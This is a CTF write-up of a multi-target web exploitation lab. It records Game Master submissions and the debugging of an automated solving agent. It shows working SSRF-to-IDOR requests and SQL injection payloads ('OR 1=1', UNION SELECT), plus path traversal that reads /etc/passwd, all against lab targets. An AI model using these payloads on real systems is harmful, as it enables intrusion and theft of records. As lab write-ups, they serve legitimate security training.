Release: Day 29, Web Exploitation Challenge ID: web-exploitation-day-27-internal-affairs
Completion record
The Game Master recorded all three modes as CORRECT for player the team solver.
| Mode | Challenge ID | Result | Game Master flag | GM completion timestamp (UTC) |
|---|---|---|---|---|
| Single Solve (SS) | web-exploitation-day-27-internal-affairs | CORRECT | Token05db1834faf4db32b63ec1061f6c0ce9 | 2026-10-29 13:11:00 UTC |
| Time Trial (TT) | web-exploitation-day-27-internal-affairs/time_trial | CORRECT | Token2b11554b3e1fc71d7a7bf769e6a413d1 | 2026-10-29 13:11:49 UTC |
| Mastery (MM) | web-exploitation-day-27-internal-affairs/mastery | CORRECT | Tokenc31096565dccbbd228bd8cb58366633e | 2026-10-29 13:42:01 UTC |
The last column is the Game Master solved_by.at timestamp, not the duration of active solving. The flags above are the Game Master results for this player identity. The saved SS status, TT status, MM status, SS submit, TT submit, and MM partial submit files are the complete service responses.
Target 4 evidence: the supplied agent archive confirms the exact doc path and the GM status confirms proof-4 was accepted. The agent's writeup, solver, and logs do not contain the actual proof string—only a proof_HEX placeholder— so this folder cannot reproduce that exact submitted value. The player has the agent's proof separately. The original target now returns HTTP 410. An unscored practice copy was opened for follow-up; its Target 4 URL is in practice-mastery.json. The path and evidence provenance are also recorded in target-4-path-evidence.json.
Challenge and player-facing questions
The prompt returned by the Game Master was:
Two service boundaries, one hallway. Use the public fetch to knock on the internal door, then borrow somebody else's records on the way out.
All answers use exact_text, with surrounding whitespace trimmed.
| Mode | Question | Answer ID | Required answer |
|---|---|---|---|
| SS | Recover the proof from Target 1. | proof-1 | Submit the exact proof recovered from this target. |
| TT | Recover the proof from Target 1. | proof-1 | Submit the exact proof recovered from this target. |
| MM | Recover the proof from Target 1. | proof-1 | Submit the exact proof recovered from this target. |
| MM | Recover the proof from Target 2. | proof-2 | Submit the exact proof recovered from this target. |
| MM | Recover the proof from Target 3. | proof-3 | Submit the exact proof recovered from this target. |
| MM | Recover the proof from Target 4. | proof-4 | Submit the exact proof recovered from this target. |
| MM | Recover the proof from Target 5. | proof-5 | Submit the exact proof recovered from this target. |
The raw start responses preserve every field returned by the Game Master: SS start, TT start, and MM start. These were live web challenges: the useful assignments were in targets[]; there were no downloadable target artifacts from the Game Master.
What the Game Master does
The Game Master is the source of truth for the challenge ID, attempt, target URLs, questions, answer IDs, deadlines, accepted answers, and final result. CourseStack supplies the player's identity to the Homebase proxy.
Supported operations used here:
| Operation | Request |
|---|---|
| List challenges | GET http://[ip]/huntress-ctf-proxy?op=list |
| Start or reconnect | POST JSON {"op":"start","challenge":"<id>"} |
| Check attempt | GET ?op=status&challenge=<id> |
| Submit answers | POST JSON {"op":"submit","challenge":"<id>","answers":{"<answer-id>":"<answer>"}} |
| Read API description | GET ?op=openapi |
The proxy URL has no trailing slash. The included gm.py handles these requests and saves the full JSON response.
The Game Master OpenAPI document also describes POST {"op":"pair"} through the trusted proxy for a personal bearer used by direct HTTPS Game Master clients. That bearer is not required inside Homebase and is not a credential for the challenge target. See WEB_AGENT_GUIDE.md for safe use by external agents.
Read the start response before browsing. It gives the target URL or URLs and the exact answer_ids. start reconnects to the existing attempt; it does not create a new timer. A partial response such as {"result":"accepted"} means some answers were accepted; check accepted_ids and remaining. Only {"result":"CORRECT"} means the full attempt is complete. A correct response may include the flag and solved_by. The proof_<hex> string from a target is the submitted answer; the Game Master flag is the completion result. They are different values.
Timer interpretation
The saved TT and MM attempts both have run_for_time:false and no deadline. They were regular, untimed attempts. In this event, TT and MM are untimed by default; add run_for_time:true (or gm.py start tt --timed) to request a ranked, timed Hall of Fame attempt. The returned deadline and hall_of_fame_eligible fields tell you what actually started. Do not infer a running clock from the mode name. The starts were at 13:04:57.152 UTC (SS), 13:11:04.424 UTC (TT), and 13:11:54.121 UTC (MM). The solved timestamps are in the completion table above.
At the saved starts, TT reported 16 unique_attempts_remaining, 16 ranked_attempts_remaining, 15 regular_variants_remaining, and 15 training_variants_remaining. MM reported 8, 8, 7, and 7 for those fields, respectively. Both starts had variant_fresh:true. No deadline was returned for SS, TT, or MM. At completion, neither timed mode was Hall of Fame eligible, because neither was requested with run_for_time:true.
The Game Master guidance says web challenges have no downloadable artifact; each start returns one or more live sites in targets[]. An inactive untimed web target stops after 30 minutes without activity. A start may first return preparing without targets, so the runner must wait for a ready response before dispatching workers. Reconnecting with start resumes the same attempt. Use retry only when deliberately advancing to another variant; it spends a unique attempt.
Single Solve
Assignment
- Target: [SS Target 1](https://[per-team CTF host]/)
- Attempt ID:
[attempt-id] - Answer ID:
proof-1 - Timer: no deadline
Recognition and solve
The app exposed route information in /api/clues. It identified:
- the public server-side fetch route:
/submit-90943c - the public case directory:
/api/cases - the topology route:
/api/topology - the current role:
analyst
/api/topology returned the internal service http://127.0.0.1:8080/status-8f4309. /api/cases listed analyst case 4334 and executive case 11581.
The important pattern was two checks in one path: the public endpoint fetched a loopback-only service (SSRF), then the internal object lookup accepted another role's case ID (broken object-level authorization / IDOR). The solver first fetched its own analyst record to confirm the route, then changed only the ID to the executive case:
/submit-90943c?target=http://127.0.0.1:8080/status-8f4309?id=11581
The target returned:
{
"ok": true,
"effect": "ssrf_then_object_authorization",
"evidence": "proof_abbb3a1b3a8e4a2daecee563bdf13196"
}
Submitted as proof-1; the Game Master returned CORRECT.
The start response also contained one randomized routes[] value. The live application endpoints were at the assigned host root (for example, /api/clues and /submit-90943c). Follow the target's own route-discovery response; do not automatically prepend every routes[].path to each endpoint.
Reproduce
python3 solve.py "https://[per-team CTF host]/"
The script reads the public clues, topology, and directory from the assigned target. It verifies the own-role fetch before requesting the other role's ID.
Time Trial
Assignment
- Target: [TT Target 1](https://[per-team CTF host]/)
- Attempt ID:
[attempt-id] - Answer ID:
proof-1 - Timer: no deadline;
run_for_time:false; not Hall of Fame eligible
Recognition and solve
The target used the same public-fetch-to-loopback pattern. /api/clues, /api/topology, and /api/cases supplied the routes and current assigned records. The analyst record was 5444; the executive record was 10977. Fetching the executive record through the public fetch returned:
{
"ok": true,
"effect": "ssrf_then_object_authorization",
"evidence": "proof_77679850dc9c4bd4887a93e28a5ba0e4"
}
Submitted as proof-1; the Game Master returned CORRECT. The mode name did not mean this was a timed run: the start response explicitly showed run_for_time:false, deadline:null, and hall_of_fame_eligible:false.
Mastery
Assignment
Attempt ID: [attempt-id]. The start response assigned five independent target applications:
The response's mode was mastery; run_for_time:false, hall_of_fame_eligible:false, and deadline:null confirmed an untimed regular variant. It reported 8 unique attempts remaining and a fresh variant. It reported 8 ranked attempts, 7 regular variants, and 7 training variants remaining as well.
| Target | Assigned URL | Answer ID |
|---|---|---|
| 1 — Status Sprout | [assigned target](https://[per-team CTF host]/) | proof-1 |
| 2 — Tiny Triage | [assigned target](https://[per-team CTF host]/) | proof-2 |
| 3 — Signal Shelf | [assigned target](https://[per-team CTF host]/) | proof-3 |
| 4 — Runbook Nook | [assigned target](https://[per-team CTF host]/) | proof-4 |
| 5 — Service Ferry | [assigned target](https://[per-team CTF host]/) | proof-5 |
Target 1 — exposed backup file (Status Sprout)
robots.txt named the disallowed directory /releases-4218c/. Its directory index linked site-config-d99a14.json.bak. Downloading the file revealed the proof in support_note:
- Proofproof_62468943b89b4e34bf25ffc9958d01f8
The exact downloaded bytes are saved as site-config-target-1.json.bak, SHA-256:
e8edf1496fdd8ca2660df7e50b655dc7360f3f1d59f932d53f50c1c4d418277d
This combines a robots.txt disclosure with an exposed directory index and a leftover backup. The script follows the Disallow entry, parses the returned HTML links, downloads the .json.bak, and extracts the proof from those exact bytes.
Target 2 — session continuity plus IDOR (Tiny Triage)
The home page created an Avery session. Keeping that cookie in the same cookie jar, /api/history returned a reference-only event for executive case 14379. The case detail endpoint did not enforce the record owner:
GET /api/tickets/14379
The executive-owned “Legal hold” record returned:
- Proofproof_8f4ce5a6619b449ba01fc8e6a28f35b5
The required pieces were the session cookie from the home page, the case ID disclosed in history, and a direct request to the detail route using that ID. The complete extracted response is saved in result-mastery-target-2.json. The script preserves the cookie automatically; a browser agent must do the same.
Target 3 — SQL injection (Signal Shelf, Flask)
The search route was /explore?q=.... The first successful payload closed the search expression, broadened results with OR 1=1, and commented out the rest:
') OR 1=1 --
The response included the hidden “Private escalation” row, ID 10173, with:
- Proofproof_c8789444818340399c40b0addb26ad37
The complete response is saved in injection-response-target-3.html. The payload is URL-encoded by the solver; preserve the trailing comment space.
The agent's more explicit UNION path first confirmed the parenthesized SQL context with ?q=')||', then found a four-column shape with:
') UNION SELECT 1,2,3,4--
The final projection aligned fields to the result page:
') UNION SELECT id,title,topic,summary FROM articles--
The restricted row placed the proof in summary. These are two verified approaches to the same target; the saved local HTML is from the first approach.
Target 4 — PHP local file inclusion (Runbook Nook, Apache)
The page used /handbook.php?doc=.... A document such as doc=../../../../etc/passwd was included in the response and exposed the container's account file. The include base was /var/www/html/pages/<doc>. The accepted proof path was:
doc=../../../run/huntress/objective.txt
Three ../ segments move from /var/www/html/pages to /var; on this image, /var/run resolves through its symlink to /run, so the final file is /run/huntress/objective.txt. This is why three segments reach the proof file, while four segments were needed to reach /etc. The response contains the Target 4 proof_<32 hex> string.
Public documents about.php, checklist.php, and escalation.php were normal runbooks. Including /etc/hostname returned [id], a container UUID, not a proof. That value was submitted once and the Game Master returned {"result":"incorrect"}; the response is saved in submit-mastery-target-4-hostname.json. A host name or other system metadata is not a substitute for the requested proof token.
The supplied agent's solver tried traversal depths 1 through 5 against /handbook.php, extracted the proof from the matching response, and submitted it as proof-4. The local copy of that solver did not persist the returned answer or successful response body. The player has the exact proof separately; this writeup does not substitute a placeholder answer.
To continue the investigation without changing the scored result, the documented view:true practice operation returned a fresh unscored copy: [practice Target 4](https://[per-team CTF host]/).
The practice response is saved as practice-mastery.json. The copy confirms that the LFI is reproducible with /handbook.php?doc=../../../../etc/passwd; it is a new practice target, not the original scored proof. The confirmed ../../../run/huntress/objective.txt path is the reusable solve.
For next time, preserve every successful LFI response and record both the exact doc value and any proof_<32 hex> match before submitting. Only submit after the response matches the answer's expected proof format. Avoid broad, repeated filename guessing: inspect the app's links and errors first, then use a small, documented candidate list and save each response that contains the proof.
Target 5 — SSRF plus IDOR (Service Ferry, Kotlin/Ktor)
This Service Ferry target repeated the two-boundary pattern from SS and TT. /api/clues supplied the public fetch, case directory, and topology routes. The current role was analyst; the public case directory listed executive case 13465. A direct public request for /api/cases/13465 returned not found because object authorization hid the other role's record. The solver confirmed its own analyst case through the public fetch, then requested the executive ID from the loopback /account-<hex>?id=... service. The assigned public fetch route was /execute-<hex>; using the random route prefix from routes[] as part of the target URL incorrectly returned 404. The fetch response was:
{
"ok": true,
"effect": "ssrf_then_object_authorization",
"evidence": "proof_b8ec9552ba9d4dd981b841b20e0c2629"
}
This is proof-5 in Mastery. The submission key comes from the Mastery question's answer_id, not from the target site's terminology. The extracted responses are saved in result-mastery-target-5.json.
Mastery submission history
One partial submission sent proofs 1, 2, 3, and 5. The Game Master returned the result saved in submit-mastery-partial.json:
{
"result": "accepted",
"accepted_ids": ["proof-1", "proof-2", "proof-3", "proof-5"],
"remaining": 1
}
After the remaining field was accepted, the saved status-mastery.json response reported:
result: CORRECT
accepted_ids: proof-1, proof-2, proof-3, proof-5, proof-4
solved_by: the team solver
The completion flag is in status-mastery.json. The status response does not echo the submitted proof values, which is why the Target 4 value cannot be recovered from that file.
Better workflow next time
- Start through the Game Master first. Save the full start JSON. Never reuse a target URL from a prior attempt.
- Read the whole response. Copy the question,
answer_id, answer format, timer, deadline, and every target URL. - Recognize the app before choosing a tool.
- Directory listing/backup: inspect
robots.txt, then follow links and download the exact file. - IDOR: find record IDs through the app's own routes; compare owner and authorization behavior.
- SQL injection: identify the search parameter and prove the query returns a hidden row.
- LFI: inspect the include parameter, confirm traversal with a harmless system file, then locate the challenge proof file and save the exact response.
- SSRF: use only the target's advertised public fetch route and topology; confirm the internal request with the current user's record before requesting the other role's record.
- Directory listing/backup: inspect
- Use the smallest suitable solver. Python's standard library was enough:
urllibfor HTTP,http.cookiejarfor sessions,HTMLParserfor links, andjson/regular expressions for extraction. A browser is useful for visual discovery and for a human-readable handoff;sqlmapor a large scanner was unnecessary here. - Verify before submitting. Proofs in this challenge matched
proof_[0-9a-f]{32}. A hostname, case number, or ordinary record value is not the proof. Use the exact answer ID returned by the current start response. - Submit through the proxy and read the result. Save partial results, then submit remaining answers. Query status after completion.
- Keep the timer honest. Default TT/MM are regular untimed attempts. Request
run_for_time:trueonly when deliberately doing a ranked timer run. - Persist evidence while the target is live. Untimed web targets stop after inactivity, and a solved/expired target can return HTTP 410. Save proof, vulnerable path, response, and submission result immediately.
What blocked agent-7 and what fixed it
The supplied agent-7 autosolve log is useful because the failures were mostly orchestration and adapter problems, rather than a lack of HTTP tools. Its assignment listed curl and jq, a shared web kit, and up to three parallel agents. The work used HTTP requests; a graphical browser was not required.
- The generic lane did not dispatch web. The first autosolve pass explicitly reported there was no banked autosolver for lane
weband routed to an unmapped handler. The adapter registry only knewweb-exploitation. - Lane alias mismatch: the dispatcher saw
web, while its adapter map only knew canonicalweb-exploitation. It sent the challenge to a generic unmapped path. The agent added alias-to-canonical dispatch and normalized the lane when matching the local assignment. - Incomplete assignment snapshot: several attempts refused to start because the local watcher had no complete SS/TT/MM list snapshot. The autosolver was configured not to fall back to a fresh Game Master list call, so the assignment/staging data had to be repaired first. The copied assignment contract itself showed
n_questions:0and listed a staticsingle_0.bin(challenge artifact, not published), while the real webstartresponse supplied dynamic questions and livetargets[]. For this lane, the assignment snapshot was not a substitute for the current Game Master start response. - Windows text encoding: one import failed because the Windows
charmapcodec could not encode the 🌐 challenge name in the file path. Running from a UTF-8 environment or setting Python's UTF-8 mode avoids this path/console encoding failure. - Targets were not always ready on the first response: the agent's debug records show an early response with questions but no
targets[], followed by a ready response containing all five targets. A robust runner waits for the target list; it must not treat “no targets yet” as a solved or empty challenge. - Already-correct start response: SS and TT were already
CORRECTforthe team solver. The generic mode runner treated aGM.start()response withresult:"CORRECT"like an unsolved assignment and waited for answer fields. It needed to short-circuit as complete. - Artifact-only readiness assumptions: web starts have live targets and
proof-Nanswer IDs, but no downloadable bytes. The agent marked proof-shaped answer IDs as discoverable by the web lane so the prebrief coverage gate could proceed to live target extraction. The saved TT residue shows the old gate held the attempt withproof-1unresolved and zero extractors; it had not opened a target window at that point. - Misapplied route metadata: a generic LFI handler prepended the randomized
routes[].pathvalue to the origin and got 404s. For these apps, routes such as/handbook.php,/explore, and/api/cluesare at the target origin. Probe the actual app routes at the assigned host root; do not assume aroutes[]path is a URL prefix. - No challenge-specific battery: the general web solver did not combine these five different patterns. The agent added one per-challenge technique that mapped Target 1 through Target 5 and returned the first proof it found.
- Mode sequencing and attempt reuse: the agent did not need to open a new ranked TT attempt because TT was already solved. Mastery already had active shared attempt
[id]. The agent correctly kept that attempt and did not spend a new variant withretry. - Evidence was not persisted: the agent's technique returned the proof to the submit pipeline, but its log recorded only
CORRECTand the flag. It did not save the Target 4 answer or response body. The localsolve_mastery.pynow writesanswers-mastery.jsonand each target's result before submission; keep that output.
The log contains several held or blocked passes before the final successful rerun. Early attempts were gate-blocked after 7.8 and 93 seconds; later passes spent about 95–98 seconds blocked on Mastery before the per-challenge technique completed. The last autosolve pass completed the existing MM attempt in 18.2 seconds; the attempt itself had been active since 13:11:54 UTC. The path used for Target 4 was ../../../run/huntress/objective.txt. SS and TT were already credited to the team solver; the 18.2-second agent result refers to MM only. The agent's autosolve summary has null flags for those already-solved SS/TT entries; use the saved Game Master status files for their actual flags.
Tool choice
| Need | Best fit here | Why |
|---|---|---|
| Start, status, submit | gm.py using the Homebase proxy | CourseStack identity is automatic; no bearer needs to be given to a web worker. |
| Follow an assigned URL | Browser/Playwright agent or Python urllib | The sites are ordinary HTTPS web apps; use the current targets[] URL. |
| Parse backup directory links | HTMLParser in solve_mastery.py | It follows actual returned links instead of guessing a filename. |
| Preserve a web session | http.cookiejar.CookieJar | Target 2's home page creates a cookie needed by later requests. |
| Inspect JSON APIs | Python json and urllib.parse.urlencode | These avoid hand-editing IDs and query escaping. |
| Confirm a proof | proof_[0-9a-f]{32} check plus saved response | It catches normal metadata such as a hostname before submission. |
| Look for SQLi | A short, evidence-led payload | One controlled query showed the hidden row; a full scanner was unnecessary. |
Why the web agents need a coordinator
A prompt alone does not give an agent network access or Game Master authority. The agent runtime must expose a browser/HTTP tool that can reach the assigned Huntress target, and the coordinator must be able to call the Homebase proxy. Keep those roles explicit:
- The coordinator starts/resumes SS, TT, or MM and provides the newly returned URL, exact question, answer ID, format, and timer.
- A browser worker investigates one target and returns the proof, path/route, and response excerpt. For MM, independent workers can handle separate targets; Target 2's worker must keep its own cookie jar.
- The coordinator rejects malformed or unsupported answers, writes the
answersobject, submits through the proxy, and checks status.
Common reasons an agent stops short are stale target URLs, no browser/network capability, confusion between the Game Master bearer and the target site, stopping after identifying a vulnerability instead of recovering its proof, losing a target's session cookie, or submitting the right value under the wrong answer ID. The handoff script and gm.py checks address these failure points.
Scripts and saved evidence
gm.py: list, start/reconnect, status, and submit through the supported Homebase proxy. It validates mode-specific answer IDs andproof_<32 hex>values before submitting, and saves full results. It never asks for or stores a pairing token.answers-single-solve.jsonandanswers-time-trial.json: verified exact answers for the two one-question modes.answers-mastery-known.json: the four locally recorded Mastery answers; Target 4 was accepted by the Game Master but its value was not persisted locally.target-4-path-evidence.json: the accepted Target 4docvalue, resolved file path, and evidence provenance.agent_handoff.py: turn a saved start response into a target-specific, token-free browser-agent task. It prints a handoff; it does not itself launch or control an external agent.agent-7-web_wip.py: exact copy of the supplied agent-7 web-solver battery. SHA-256:70f768589b0530327a5896723d70b16e7d75c86e34794e3ed8a4c3c0f2e01777.agent-7-evidence/: copied assignment contract, start-debug records, mode-prediction template, autosolve logs/state, and the agent's original writeup.WEB_AGENT_GUIDE.md: explains target URLs versus the Game Master, safe bearer-token handling for external agents, and a reusable handoff.solve.py: solve one assigned public-fetch/IDOR target.solve_mastery.py: solve all five Mastery targets automatically; Target 4 defaults to the confirmed../../../run/huntress/objective.txtpath and accepts an override with--lfi-path.submit.py: submit a saved answers JSON through the proxy.start-*.json,status-*.json,submit-*.json: exact Game Master responses.result-mastery-target-*.json,result-time-trial.json, and the saved target response files: extracted evidence.openapi.json: Game Master API description returned by?op=openapi.
Typical commands
cd "[local path] Affairs"
# Complete each mode before opening the next set of live web targets.
python3 gm.py start ss
python3 solve.py "<current SS target URL>" --out answers-ss.json
python3 gm.py submit ss answers-ss.json --start-json start-single-solve.json
python3 gm.py status ss
# After SS is complete, start and solve TT.
python3 gm.py start tt
python3 solve.py "<current TT target URL>" --out answers-tt.json
python3 gm.py submit tt answers-tt.json --start-json start-time-trial.json
python3 gm.py status tt
# After TT is complete, start MM and hand off one target at a time.
python3 gm.py start mm
python3 agent_handoff.py start-mastery.json "Target 3"
python3 agent_handoff.py start-mastery.json --all > mastery-agent-tasks.md
# After gathering answers, submit and verify through the proxy.
python3 gm.py submit mm answers-mastery.json --start-json start-mastery.json
python3 gm.py status mm
# Solve all five MM targets and save proofs plus response evidence.
python3 solve_mastery.py start-mastery.json
These commands automate Game Master requests and the HTTP solving scripts. agent_handoff.py only formats a task; it cannot dispatch to a web-agent provider because no provider or browser-tool API is configured in this folder. For hands-off agent operation, the coordinator needs an adapter that calls the provider's browser/HTTP tool with the handoff text, waits for its structured answer, writes the answer JSON, then runs gm.py submit and gm.py status. The provider must have outbound HTTPS access to the exact target host. A Game Master pairing bearer does not enable that access and must never be sent to the target or worker.
For a timed ranked attempt, use python3 gm.py start tt --timed or python3 gm.py start mm --timed. Give it a distinct --out file so the timed assignment does not overwrite the regular start JSON. This is only for requesting a ranked timed attempt; it is not needed to reconnect to the saved untimed attempts.